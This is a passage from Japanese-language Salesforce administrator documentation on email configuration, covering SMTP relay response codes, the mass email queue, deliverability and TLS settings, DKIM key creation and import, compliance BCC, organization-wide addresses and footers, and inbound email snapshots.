relay.my.org指定されたリレーシステ
ムのホスト名。

リレーアドレスM

587指定されたリレーシステ
ムのポート。

リレーポートN
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例説明項目列

421 no adequate
servers

すべての送信フェーズの
後、3 桁のレスポンスコー
ドがメールサーバから送

送信ステータス通知O

信されます。最初の数値
は、コマンドが成功した
かどうかを、2 桁目はエ
ラーの種類、3 桁目は問題
を解決するための追加情
報を示します。
1 桁目の値は次の 5 とおり
です。
1xx  - 肯定的な事前の返信

コマンドは受け入れら
れましたが、応答は送
信されていません。

2xx  - 肯定的な完了の返信
要求されたアクション
は正常に完了しまし
た。

3xx  - 肯定的な中間の返信
コマンドは受け入れら
れましたが、要求され
たアクションにはより
多くの情報が必要で
す。

4xx  - 一時的に否定的な完
了の返信

コマンドは受け入れら
れず、要求されたアク
ションは実行されませ
んでした。ただし、エ
ラーの状況は一時的
で、アクションをもう
一度要求することがで
きます。

5xx  - 永続的に否定的な完
了の返信

コマンドは受け入れら
れず、要求されたアク
ションは実行されませ
んでした。
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例説明項目列

すべてのメールサービス
プロバイダは、それぞれ
のコードを実装している
ため、2 桁目や 3 桁目が示
す内容の完全な一覧はあ
りません。
これらのコードの詳細は、
SMTP の公式ドキュメント
の 4.2.1 のセクション (http://
www.ietf.org/rfc/rfc2821.txt

?number=2821) を参照して
ください。

関連トピック:

メールログ: Salesforce で送信されるメールの監視

一括メール送信キュー: Salesforce による一括メール送信の状況の監視

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

一括メールを参照する、
または待機中の一括メー
ル送信をキャンセルする
• 「一括メール送信」

組織内のすべての一括
メール送信を参照する、
または待機中の一括メー
ル送信をキャンセルする
• 「すべてのデータの編

集」

一括メール送信キューでは、個人的に送信したスケジュール済み一括メール送
信の状況、または Salesforce 組織のスケジュール済み一括メール送信の状況を表
示できます。一括メール送信は、必要に応じてキャンセルできます。個人的な
一括メール送信の状況は個人設定から表示できます。権限がある場合は、組織
の一括メール送信の状況を [設定] から表示できます。
一括メール送信キューには、一括メールがアドレス指定され、送信された受信
者数が示されます。これらの数は、次の要因によって変わる可能性があります。
• 一括メール送信により、組織の 1 日の一括メール送信制限を超過する。この

場合、Salesforce はいずれの受信者にもメッセージを送信しません。
• 一括メール送信がスケジュールされた後、送信処理が実行される前に、選択

した 1 人以上の受信者が一括メールの受信を拒否した。
• 一括メール送信がスケジュールされた後、送信処理が実行される前に、選択

された 1 人以上の受信者メールアドレスが取引先責任者またはリードから削
除された。

• 一括メール送信がスケジュールされた後、送信処理が実行される前に、一括
メール送信を行ったユーザが無効になった。Salesforce は、無効になったユー
ザによってスケジュールされたメールを一括送信しません。

関連トピック:

Salesforce から送信されるメールの監視
Salesforce Classic でのメールの一括送信
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Salesforce から送信するメールの到達性の改善
メールの到達性とは、会社または個人のメールが対象の受信者に到達する見込みのことです。Salesforceを介し
て送信するメールの到達性を改善するための多くの設定とコンプライアンスオプションがあります。

Salesforce から送信するメールの送信設定
使用可能な送信オプションを使用して Salesforce 組織を設定し、ユーザが Salesforce から送信するメールが宛
先に速く届くようにしてください。
Salesforce から送信するメールの到達性設定のガイドライン
メールの到達性は、過去に不達になった同一メールドメインへのメール、および受信者のメールセキュリ
ティフレームワークに準拠しないメールの影響を受けます。ガイドラインを確認してこれらの障害に対処
できるようにし、ユーザのメールが宛先に速やかに届くようにします。
DKIM 鍵の作成
DKIM (DomainKeys Identified Mail) 鍵機能を使用して、Salesforceが組織に代わって送信されるメールに署名できる
ようにします。有効な署名によって、受信者は、組織が承認する方法で Salesforce などのサードパーティに
よってメールが処理されたことを確信できます。
DKIM 鍵のインポート
DKIM (DomainKeys Identified Mail) 鍵機能を使用して、Salesforceが組織に代わって送信されるメールに署名できる
ようにします。
コンプライアンス BCC メールの有効化

関連トピック:

ユーザによる Salesforce からのメール送信

Salesforce から送信するメールの送信設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

メール送信を設定する
• 「アプリケーションの

カスタマイズ」

使用可能な送信オプションを使用してSalesforce組織を設定し、ユーザがSalesforce

から送信するメールが宛先に速く届くようにしてください。
1. [設定] から、[クイック検索] ボックスに「送信」と入力し、[配信到達性] を

選択します。
2. Salesforce 組織に適用するオプションを選択します。

関連トピック:

Salesforce から送信するメールの到達性の改善

Salesforce から送信するメールの到達性設定のガイドライン
メールの到達性は、過去に不達になった同一メールドメインへのメール、およ
び受信者のメールセキュリティフレームワークに準拠しないメールの影響を受
けます。ガイドラインを確認してこれらの障害に対処できるようにし、ユーザ
のメールが宛先に速やかに届くようにします。
[設定] の [送信] ページを使用すると、メールの到達性を改善できます。
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• 組織で送信するメールのタイプを制御するには、[メールを送信するためのアクセス権] セクションで [アク
セス権] オプションを使用します。次のオプションを使用できます。
– アクセス権限なし: ユーザへの送信メールやユーザからの送信メールをすべてブロックします。
– システムメールのみ: 新しいユーザやパスワードのリセットメールなどの自動生成メールのみを許可しま

す。テスト作業や開発作業でテストメールがユーザに送信されないように Sandbox から送信されるメー
ルを制御する場合に特に便利です。新しく作成された Sandbox は、デフォルトで [システムメールのみ]

になります。
– すべてのメール: すべてのタイプの送信メールを許可します。新しい非 Sandbox 組織の場合、これがデフォ

ルトになります。Spring '13 より前に作成された Sandbox では、デフォルトで [すべてのメール] になりま
す。

• 不達管理を使用している場合:

– メールリレーも使用している場合は、Salesforceから送信されるメールのリレーが組織のメールサーバで
許可されていることを確認します。

– 取引先責任者、リード、個人取引先のアドレスに送信したメールが不達になった場合は、そのアドレス
の横にアラートが表示され、更新または確認が行われるまで、その他のユーザはそのアドレスにメール
を送信できません。

– メールは Salesforce に返送され、送信者の個人用メールアカウントには返送されません。
– 不達のアドレスを持つ取引先責任者およびリード一覧標準レポートを使用して、不達となったメールア

ドレスのリストを参照できます。このレポートには、メールが不達となった理由、日付、および取引先
責任者、リード、または個人取引先が記載されています。

• SPF など、受信者のメールセキュリティフレームワークに準拠する手順は、次のとおりです。
– [標準メールセキュリティのメカニズムへの準拠を有効化]をオンにします。Salesforceから送信されるメー

ルの封筒の [差出人] アドレスが変更されます。ヘッダーの [差出人] アドレスは、送信者のメールア
ドレスに設定されたままです。一般的に、セキュリティフレームワークでは封筒のアドレスのみが確認
されます。

– 受信者が広く使用されていない送信者 ID メール認証プロトコルを使用している場合は、[送信者 ID 準
拠を有効化] をオンにします。Salesforce から送信されるメールの封筒の [送信者] 項目が変更され、
no-reply@Salesforceが自動的に組み込まれます。受信者からのすべての返信は、送信者のメールア
ドレスに送信されます。受信者のメールクライアント (Salesforce 以外) は、「代理送信」という語句を
Salesforce から送信されたメールの [差出人] 項目に追加することがあります。

• SMTP セッションで安全なメール通信を行うために Salesforceでの Transport Layer Security (TLS) の使用方法を指定
するには、[TLS 設定] を選択します。次のオプションを使用できます。
– 任意  (デフォルト): リモートサーバが TLS に対応している場合、Salesforceは現在の SMTP セッションをアッ

プグレードして TLS を使用します。TLS に対応していない場合、Salesforce は TLS なしでセッションを続行
します。

– 必須: Salesforce は、リモートサーバが TLS に対応している場合にのみセッションを続行します。TLS に対
応していない場合、Salesforce は、メールを配信せずにセッションを終了します。

– 検証して任意: リモートサーバが TLS に対応している場合、Salesforceは現在の SMTP セッションをアップグ
レードして TLS を使用します。セッション開始前に、Salesforce は証明書に正規の認証機関の署名がある
かを確認し、証明書に示された一般名が現在の接続のドメインまたはメール交換と一致することを確認
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します。TLS は有効だが、証明書に署名がないか一般名が一致しない場合、Salesforce はセッションを切
断し、メールを配信しません。TLS に対応していない場合、Salesforceは TLS なしでセッションを続行しま
す。

– 検証して必須: Salesforce は、リモートサーバが TLS に対応し、証明書に正規の認証機関の署名があり、証
明書に示された一般名がSalesforceが接続したドメインまたはメール交換と一致する場合にのみセッショ
ンを続行します。これらの条件のどれかが一致しないと、Salesforceはメールを配信せずにセッションを
終了します。

• Preferred  (デフォルト設定) 以外の設定を選択する場合は、[TLS を次のドメインに限定する] をオンにし
て、カンマ区切りのドメインリストを指定します。アスタリスク (*) ワイルドカードを使用できます。たと
えば、「*.subdomains.com」は「john@aco.subdomains.com」と「john@bco.subdomains.com」には一致します
が、「john@subdomains.com」には一致しません。ドメインを指定しない場合、Salesforceはすべての送信メー
ルに対して、指定した TLS 設定を使用します。このため、メールが配信されない場合があります。

関連トピック:

Salesforce から送信するメールの到達性の改善
Salesforce Classic でのメールの送信
コンプライアンス BCC メールの有効化
メールリレーの設定
Salesforce を使用したメール送信のテスト

DKIM 鍵の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

DKIM 鍵を管理する
• アプリケーションのカ

スタマイズ

DKIM (DomainKeys Identified Mail) 鍵機能を使用して、Salesforceが組織に代わって送信
されるメールに署名できるようにします。有効な署名によって、受信者は、組
織が承認する方法で Salesforce などのサードパーティによってメールが処理され
たことを確信できます。
DKIM 鍵を作成するときに、Salesforceで公開鍵と非公開鍵のペアが生成されます。
公開鍵は DNS に公開して、ドメインの所有者がこの鍵を使用したメールの署名
を承認していることを受信者に知らせる必要があります。Salesforce は秘密鍵を
使用して、送信メールに DKIM 署名ヘッダーを作成します。メールの受信者は、
署名ヘッダーと DNS の公開鍵を比較して、メールが承認された鍵を使用して署
名されたかどうかを判断します。ドメインで DMARC (Domain-based Message

Authentication, Reporting & Conformance) ポリシーも公開されている場合は、受信者が
DKIM 署名を使用して、メールが DMARC に準拠していることを確認できます。
新しい鍵を作成する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「DKIM 鍵」と入力し、[DKIM 鍵] を

選択します。
2. [鍵を新規作成] をクリックします。
3. セレクタで、一意の名前を入力します。
4. ドメイン名を入力します。
5. 使用するドメイン一致の種類を選択します。
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6. [保存] をクリックします
• 鍵はデフォルトの無効な状態に設定されます。鍵を有効にする前に、公開鍵を DNS レコードに追加してあ

ることを確認します。DKIM 署名は、有効なドメイン鍵がある場合は常に有効です。
• 1 つのドメイン名に有効な DKIM 鍵を複数使用することはできません。組織が複数のドメインからメールを

送信する場合、または組織ドメインに subdomains を使用し、subdomain レベルでドメインの一致を指
定している場合は、有効な DKIM 鍵が複数存在する可能性があります。

• ドメイン鍵を挿入または更新したときに、既存の DKIM 鍵が変更の影響を受ける可能性があります。たとえ
ば、example.com ドメインの DomainMatch を DomainAndSubdomains に設定し、mail.example.com ドメイン
の DomainMatchを SubdomainsOnlyに設定した場合、どちらの鍵も使用される可能性があります。ドメ
イン鍵が重複する場合、競合がどのように解決されるかを次に示します。
1. 同一ドメインの 2 つの鍵で一致に関する具体性が等しい場合、新しい鍵が既存の鍵に置き換えられ、既

存の鍵は無効化されます。
2. 新しい鍵の一致に関する具体性が既存の鍵よりも高い場合、新しい鍵が使用され、既存の鍵は変更され

て新しい鍵の適用対象にはなりません。たとえば、DomainOnly と SubdomainsOnly は
DomainAndSubdomains よりも具体的であるため、新しい DomainOnly 鍵によって既存の
DomainAndSubdomains 鍵の DomainMatch は SubdomainsOnly に変更されます。

3. 複数の鍵に送信ドメインに一致する異なるドメインがある場合、ドメイン名が最も長い鍵が使用されま
す。長さが同じ場合は、最も具体的な鍵が使用されます。

DKIM についての詳細は、「DKIM 鍵の作成」を参照してください。

関連トピック:

Salesforce から送信するメールの到達性の改善
DKIM 鍵のインポート

DKIM 鍵のインポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

DKIM 鍵を管理する
• アプリケーションのカ

スタマイズ

DKIM (DomainKeys Identified Mail) 鍵機能を使用して、Salesforceが組織に代わって送信
されるメールに署名できるようにします。
一部の会社には Salesforce 組織が複数あり、それらの組織のユーザがメールアド
レスのドメイン名を共有しています。そのため、これらのユーザが送信するメー
ルを Salesforce で署名するようにする会社では、DKIM 鍵を共有する必要がある場
合があります。このページを使用して共有を行います。
最初に、鍵を作成して、1 つの組織でその鍵が機能することを確認します。その
鍵を別の組織にインポートして使用するには、機能する鍵からセレクタ名、ド
メイン名、公開鍵と非公開鍵のデータをコピーします。このデータは、インポー
トする鍵の詳細ページから取得できます。鍵のデータをコピーしたら、対象組
織にログインし、次の手順に従って鍵をインポートします。
1. [設定] から、[クイック検索] ボックスに「DKIM 鍵」と入力し、[DKIM 鍵] を

選択します。
2. [鍵をインポート] をクリックします。
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3. 元の組織からコピーしたものと同じセレクタ名を入力します。
4. 元の組織からコピーしたものと同じドメイン名を入力します。
5. 公開鍵と非公開鍵のデータをそれぞれ対応する項目に貼り付けます。
6. 使用するドメイン一致の種類を選択します。ほとんどの場合、元の組織で鍵に選択した値と同じ値を使用

します。
7. [保存] をクリックします。
元の組織で公開鍵と非公開鍵のデータが機能していたため、通常は対象組織でもすぐに鍵を有効化できます。

メモ: 非公開鍵のデータは、メールの署名に使用する非公開鍵のデータを暗号化したものです。メールに
署名するときにこのデータが内部的に復号化されます。そのため、Salesforce内でのみ使用できます。たと
えば、公開鍵と非公開鍵のデータを取得して、外部のメールシステムに挿入することはできません。

関連トピック:

Salesforce から送信するメールの到達性の改善
DKIM 鍵の作成

コンプライアンス BCC メールの有効化

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コンプライアンス BCC
メールを有効または無効
にする
• 「アプリケーションの

カスタマイズ」

組織ですべての送信メールメッセージのコンプライアンスを評価する場合に、
コンプライアンス BCC メールが、ユーザの指定したメールアドレスに、各送信
メールのコピーを非表示で自動的に送信するようすることができます。コンプ
ライアンス BCC メールを有効にすると、すべてのメールについてユーザによる
BCC 項目の編集を防止され、ユーザの [私のメール設定] の下にある [自動 Bcc]

の設定が無効化されます
組織でコンプライアンス BCC メールを有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「コンプライアンス BCC メール」と

入力し、[コンプライアンス BCC メール] を選択します。
2. [有効化] チェックボックスをオンにします。
3. コンプライアンスメールアドレスを入力します。
4. [保存] をクリックします。

メモ: ユーザが送信したメールに対して指定したアドレスに BCC メールが自
動的に送信されます。ただし、パスワードリセットやインポート完了通知
などのシステムメールは除外されます。
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組織のアドレス: ユーザが共通の [差出人] アドレスを使用して Salesforce から
メールを送信可能

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce組織で、ユーザが共通のメール別名を共有する必要がある場合、各ユー
ザプロファイルで組織の共有アドレスのリストを定義できます。メールをSalesforce

から送信するときに、これらのプロファイルのユーザは、自分のアドレスか組
織の共有アドレスをメールの [差出人]アドレスに選択できます。返信は、選択
したアドレス宛てに配信されます。

例: 組織では、複数のユーザがサポートプロファイルに割り当てられてい
ます。このプロファイルには、support@acme.comというメールアドレス
と Acme Support の [表示名] が関連付けられています。これらのユーザ
がSalesforceを通じて発信メールを送信する場合、[差出人]アドレスに、自
分の Salesforce メールアドレスではなく support@acme.com を表示するよ
うに選択できます。

Salesforce からのメール送信での組織の共有アドレスの使用に関する考慮事項
組織の共有アドレスを作成して Salesforce ユーザプロファイルに割り当てる前に、一括メール送信やレポー
トに関する情報など、詳細をいくつか確認してください。
組織の共有メールアドレスの設定
ユーザプロファイルごとに、組織の共有アドレスを定義して管理できます。メールを Salesforce から送信す
るときに、これらのプロファイルのユーザは、自分のアドレスか組織の共有アドレスをメールの [差出人]

アドレスに選択できます。返信は、選択したアドレス宛てに配信されます。

関連トピック:

ユーザによる Salesforce からのメール送信
組織の共有フッター: ユーザによる共通のフッターを使用した Salesforce からのメール送信

Salesforce からのメール送信での組織の共有アドレスの使用に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

組織の共有アドレスを作成してSalesforceユーザプロファイルに割り当てる前に、
一括メール送信やレポートに関する情報など、詳細をいくつか確認してくださ
い。
• 組織の共有アドレスは、一括メール送信または登録情報照会の送信には使用

できません。
• 組織の共有アドレスは、スケジュール済みレポート、ダッシュボードの更新

のスケジュール、差し込み印刷メールの送信、取引先責任者およびリードへ
のミーティング要請の送信には使用できません。

• メールアラートで使用される組織の共有メールアドレスは、削除または変更
できません。
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• 組織の共有アドレスは、スケジュール済みレポート、ダッシュボードの更新のスケジュール、差し込み印
刷メールの送信、取引先責任者およびリードへのミーティング要請の送信には使用できません。

関連トピック:

組織のアドレス: ユーザが共通の [差出人] アドレスを使用して Salesforce からメールを送信可能

組織の共有メールアドレスの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

組織の共有アドレスを変
更する
• 「すべてのデータの編

集」

ユーザプロファイルごとに、組織の共有アドレスを定義して管理できます。メー
ルを Salesforce から送信するときに、これらのプロファイルのユーザは、自分の
アドレスか組織の共有アドレスをメールの [差出人]アドレスに選択できます。
返信は、選択したアドレス宛てに配信されます。
1. [設定] から、[クイック検索] ボックスに「組織のアドレス」と入力し、[組織

のアドレス] を選択します。
2. 組織の共有アドレスを管理するには、使用可能なオプションを使用します。
組織の共有アドレスを使用するには、メールを Salesforce から送信するときに、
ドロップダウンリストから組織の共有アドレスを選択します。

関連トピック:

組織のアドレス: ユーザが共通の [差出人] アドレスを使用して Salesforce から
メールを送信可能
Salesforce からのメール送信での組織の共有アドレスの使用に関する考慮事項

組織の共有フッター: ユーザによる共通のフッターを使用した Salesforce から
のメール送信

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

組織の共有フッターを作成することでユーザが時間を節約し、Salesforce から送
信するすべてのメールに共通のメッセージを適用できるようにします。文字コー
ドごとに異なるメールフッターを作成して、単一メール送信および一括メール
送信のデフォルトのフッターを選択できます。Lightning Experience では、Gmail ま
たは Office 365 経由で送信するメールに、組織の共有フッターを組み込むことが
できます。組織の共有フッターを組み込むかどうかは選択できます。

Salesforce からのメール送信での組織の共有フッターの設定に関する考慮事項
Salesforce 組織のユーザ用に組織の共有フッターを作成する前に、文字コード
やデフォルトに関する情報など、詳細をいくつか確認してください。
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組織の共有メールフッターの設定
組織の共有メールフッターにより、ユーザが時間を節約し、Salesforce から送信するすべてのメールに共通
のメッセージを適用できるようにします。数回クリックするだけで、Salesforce 組織のフッターの作成、編
集、デフォルトの割り当て、無効化を実行することができます。

関連トピック:

ユーザによる Salesforce からのメール送信

Salesforce からのメール送信での組織の共有フッターの設定に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce 組織のユーザ用に組織の共有フッターを作成する前に、文字コードや
デフォルトに関する情報など、詳細をいくつか確認してください。
• フッターはテキストのみです。HTML タグは表示されません。
• 組織で [Gmail を介した送信] または [Office 365 を介した送信] を使用している場

合、Salesforce から送信したメールには組織の共通フッターが表示されませ
ん。

• デフォルトのフッターは、単一メール送信と一括メール送信に対しそれぞれ
1 つずつ選択できます。送信メールの文字コードに一致するフッターがない
場合、これらのデフォルトが使用されます。

• フッターの最大サイズは 32 KB です。
• 文字コード

– Salesforce Classic では、[メールの文字コード] 項目により、フッターが表示されるメールが決まります。
文字コードごとに、有効な単一メール送信のフッターと一括メール送信のフッターを設定できます。

– Lightning Experience では、ユーザの文字コード設定でフッターを送信します。

関連トピック:

組織の共有フッター: ユーザによる共通のフッターを使用した Salesforce からのメール送信
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組織の共有メールフッターの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

メールフッターを作成お
よび編集する
• 「すべてのデータの編

集」

組織の共有メールフッターにより、ユーザが時間を節約し、Salesforce から送信
するすべてのメールに共通のメッセージを適用できるようにします。数回クリッ
クするだけで、Salesforce組織のフッターの作成、編集、デフォルトの割り当て、
無効化を実行することができます。
1. [設定] から、[クイック検索] ボックスに「メールフッター」と入力し、[メー

ルフッター] を選択します。
2. 組織の共有メールフッターの作成、編集、デフォルト状況の適用、無効化を

実行するには、使用可能なオプションを使用します。

関連トピック:

組織の共有フッター: ユーザによる共通のフッターを使用した Salesforce から
のメール送信

[メール to Salesforce] の有効化
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

[メール to Salesforce] を有
効化または無効化する
• 「すべてのデータの編

集」

ユーザがメールを Salesforce レコードに追加できるようにします。[メール to

Salesforce] を使用すると、ユーザがメールをリード、取引先責任者、商談、Salesforce

のその他の特定のレコードに関連付けることができます。この処理により、営
業関連のコミュニケーションを簡単に追跡できます。
1. [設定] から、[クイック検索] ボックスに「メール to Salesforce」と入力

し、[メール to Salesforce] を選択します。
2. [編集] をクリックします。
3. [有効] を選択します。
4. [メール to Salesforce] を設定して、メッセージを処理する前に送信元サーバの

正当性を確認する場合は、[メール to Salesforce] の使用を想定される送信者が、
次の認証プロトコルのうち最低 1 つをサポートすることを確認してくださ
い。
• SPF

• SenderId

• DomainKeys

送信元サーバがこのようなプロトコルの少なくとも 1 つにパスし、エラーになるプロトコルがない場合に
限り、[メール to Salesforce] はそのメールを受け付けます。
メッセージを処理する前に送信元サーバの正当性を確認するように [メール to Salesforce] を設定するには、
[高度なメールセキュリティ設定] を選択します。

5. [保存] をクリックします。
6. [メール to Salesforce] が有効になったことをユーザに通知するには、[メールで通知する]をクリックします。

それ以外の場合は、[スキップ] をクリックします。
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Salesforceにより、ユーザごとに固有の [メール to Salesforce] アドレスが作成されます。ユーザは、個人設定の [私
のメール to Salesforce] ページで、自分の [メール to Salesforce] アドレスを確認し、設定をカスタマイズします。詳
細は、「[メール to Salesforce] のしくみ」 (ページ 1882)を参照してください。

関連トピック:

[メール to Salesforce] のしくみ

リンクとして送信されたメール添付ファイルの削除
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

リンクとして送信された
メール添付ファイルを削
除する
• 「すべてのデータの編

集」

リンクとして送信された添付ファイルを検索および削除できます。後でメール
受信者が添付ファイルのリンクをクリックすると、添付ファイルを表示するた
めにメールの送信者に連絡するよう求めるメッセージが表示されます。組織の
メール保存期間内であれば検索できます。この期間は通常 30 日ですが、組織の
詳細は、Salesforce サポートにお問い合わせください。
リンクとして送信されたメール添付ファイルを検索および削除する手順は、次
のとおりです。
1. [設定] から、[クイック検索] ボックスに「添付ファイル」と入力し、[リンク

として送信した添付ファイルを削除] を選択します。
2. 次のいずれかを入力します。

• ファイル名 (省略可能)、ユーザ名、および日付の範囲
– ThisYearResults.pdfなど、ファイル拡張子付きの添付ファイル名

(省略可能)。ワイルドカードを使用できます。たとえば、
「ThisYearRes」を指定すると、「ThisYearResults.pdf」が見つ
かります。

– 送信者のユーザ名
– メールが送信された日付の範囲

• 添付ファイルの URL: メールの添付ファイルのリンク (.html) をクリックしてブラウザで開き、URL をコ
ピーして貼り付けます。

3. [検索] をクリックします。
• 検索結果には、一致するエントリが最大 100 個表示されます。
• 添付ファイルが一括メール送信を使用して送信された場合、検索結果には、送信されたメール 100 個ご

とに 1 つのエントリが表示されます。添付ファイルを削除するには、これらのエントリのいずれかを削
除します。

4. [検索結果] で、削除する添付ファイルの横にある [削除] をクリックします。後でメール受信者が添付ファ
イルのリンクをクリックすると、添付ファイルを表示するためにメールの送信者に連絡するよう求めるメッ
セージが表示されます。

メモ: 削除した添付ファイルをごみ箱から元に戻すことはできません。
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受信メールスナップショットによるトラブルシューティング
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

メールのスナップショッ
トを要求、表示、ダウン
ロードおよび削除する
• 「すべてのデータの編

集」

受信メールエラーをより簡単にトラブルシューティングできるように、受信メー
ルメッセージのスナップショットを取得します。
受信メールのスナップショットでは受信メールメッセージのコピーを取得しま
す。このスナップショットはメール to Salesforce、メール-to-ケース、Apex メール
サービスなどのメールサービスに関する問題の診断に役立ちます。メールの宛
先および送信元アドレスの条件を指定して、スナップショットを要求します。
受信メッセージがその条件に一致した場合、参照およびダウンロード可能な 1

つのコピーが記録されます。メール自体は変更されることなく通常どおりに処
理されます。スナップショットには次のものが含まれています。
• 送信者のアドレス
• 受信メールサービスのアドレス
• スナップショットの日時
• ヘッダーおよび添付ファイルを含む、メッセージのフルコンテンツ
受信メールスナップショットを有効にするには、Salesforce にお問い合わせくだ
さい。
• 受信メールにアクセスするには、[設定] から、[クイック検索] ボックスに

「メールスナップショット」と入力し、[メールスナップショット] を選択します。
• 受信メールスナップショットを要求するには、宛先アドレス (必須) および送信元アドレス (オプション) の

条件を入力します。次に、[スナップショットを要求] をクリックします。
要求されたスナップショットは [待機中および完了スナップショット] リストに追加されます。受信メッセー
ジが指定条件に一致すると、スナップショットが取得されて要求は完了します。

• 完了したスナップショットを表示するには、次の操作を実行します。

説明オプション

スナップショットの取得日時、送信者のアドレス、
受信メールサービスアドレスを表示するには、[詳細

スナップショットの詳細を表示

の表示] をクリックします。詳細セクションを折り
たたむには、[詳細を非表示] をクリックします。

[ダウンロード]をクリックして、メールを .txt ファイ
ルとして開くか、コンピュータに保存します。

スナップショットをダウンロード

受信メールのスナップショットを使用するときには、次のヒントを考慮してください。
• 待機中および完了したスナップショットを合わせて最大 25 個まで保持できます。新しいスナップショット

を作成する場合は、領域を解放するためいくつかのスナップショットを削除します。最初に他のユーザが
要求したスナップショットであっても、待機中または完了したスナップショットは削除できます。

• 削除されたスナップショットは完全に削除されます。ごみ箱には移動されません。
• 宛先アドレスの条件を指定する場合、次の点に留意してください。
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この条件は、メールの [To]、[CC]、[BCC] 項目 ([To] 項目のみではない) で指定されるアドレスのいずれかに
適用されます。

–

– 受信メールサービスアドレスの末尾は必ず salesforce.com です。
– 組織が使用しているアドレスを確認することをお勧めします。次の表に、これらのアドレスがわかる場

所をまとめています。

アドレスがわかる場所受信メールアドレスのタイプ

ユーザの個人設定から、[クイック検索] ボックス
に「メール to Salesforce」と入力し、[メール

ユーザの一意の [メール to Salesforce] アドレス

to Salesforce] を選択して、[メール to Salesforce] で割
り当てられている一意のアドレスを参照します。

[設定] から、[クイック検索] ボックスに「メール
-to-ケース」と入力し、[メール-to-ケース]を選択

メール-to-ケースまたはオンデマンドメール-to-ケー
スのメールルーティングアドレス

して、メール-to-ケースの設定ページを開きます。
[ルーティングアドレス] セクションを表示します。

[設定] から、[クイック検索] ボックスに「メール
サービス」と入力し、[メールサービス] を選択し
て、メールサービス名を選択します。

組織のメールサービスアドレス

• メールアドレスのローカル部分 (@ 記号の前の部分) およびドメイン部分 (@ 記号の後の部分) の両方でアスタ
リスク (*) ワイルドカードを使用できます。スペース、カンマおよびセミコロンは有効な文字ではありませ
ん。各アドレス項目には、255 文字まで含めることができます。

• 同じ条件で複数のスナップショットを要求する場合は、[スナップショットを要求] を複数回クリックしま
す。

• スナップショットが完了したことを確信できる場合でも、[待機中] 状況が表示されている場合はページを
更新してください。

• スナップショットに有効期限はありません。受信メールが指定条件に一致しない場合、要求されたスナッ
プショットは永続的に [待機中] 状況で保持されます。完了したスナップショットは削除されるまで保持さ
れます。

関連トピック:

メールログ: Salesforce で送信されるメールの監視
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差し込み印刷テンプレートの使用

差し込み印刷テンプレートの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

差し込み印刷テンプレー
トをアップロードする
• 「公開テンプレートの

管理」

差し込み印刷テンプレー
トを編集する
• 「公開テンプレートの

管理」

差し込み印刷テンプレートは、定型レターの内容やその他の差し込み印刷ドキュ
メントを定義します。差し込み印刷テンプレートには、作成されたドキュメン
トに、取引先責任者の名前や住所など、自分のレコードのデータを表示する差
し込み項目と呼ばれる変数があります。
システム管理者には、Microsoft Word で差し込み印刷テンプレートを作成し、そ
れを Salesforce にアップロードして、ユーザが利用できるようにする責務があり
ます。次のトピックを参照してください。
• 「差し込み印刷テンプレートの作成」では、空白の Word ドキュメントから

新しい差し込み印刷テンプレートを作成する方法を説明します。
• 「既存の差し込み印刷テンプレートの変更」では、サンプルテンプレートを

ダウンロードして、固有のビジネスニーズに合わせて変更する方法を説明し
ます。

• 「差し込み印刷テンプレートのSalesforceへのアップロード」では、完成した
差し込み印刷テンプレートを Salesforce にアップロードする方法を説明しま
す。

ヒント: 開始にあたっては、差し込み印刷テンプレートのサンプルをダウ
ンロードして参考にしてください。

関連トピック:

差し込み印刷
差し込み印刷テンプレートの差し込み項目を使用する場合の考慮事項
個別差し込み印刷ドキュメントの送信
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Visualforce メールテンプレートの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一括メール送信が使用不
可能なエディション:
Personal Edition、Contact
Manager Edition、および
Group Edition

ユーザ権限

Visualforce メールテンプ
レートを作成または変更
する
• 「アプリケーションの

カスタマイズ」

公開メールテンプレート
フォルダを作成または変
更する
• 「公開テンプレートの

管理」

Visualforce ページで使用するメールテンプレートを作成できます。
1. 次のいずれかの操作を実行します。

• 公開テンプレートの編集権限がある場合は、[設定] から [クイック検索]

ボックスに「メールテンプレート」と入力し、[メールテンプレート] を選
択します。

• 公開テンプレートを編集する権限がない場合は、個人設定に移動します。
[クイック検索]ボックスに「テンプレート」と入力し、[メールテンプレー
ト] または [私のテンプレート] の表示された方を選択します。

2. [新規テンプレート] をクリックします。
3. [Visualforce] を選択し、[次へ] をクリックします。

Visualforceメールテンプレートを使用して一括メールを送信することはできま
せん。

4. テンプレートを保存するフォルダを選択します。
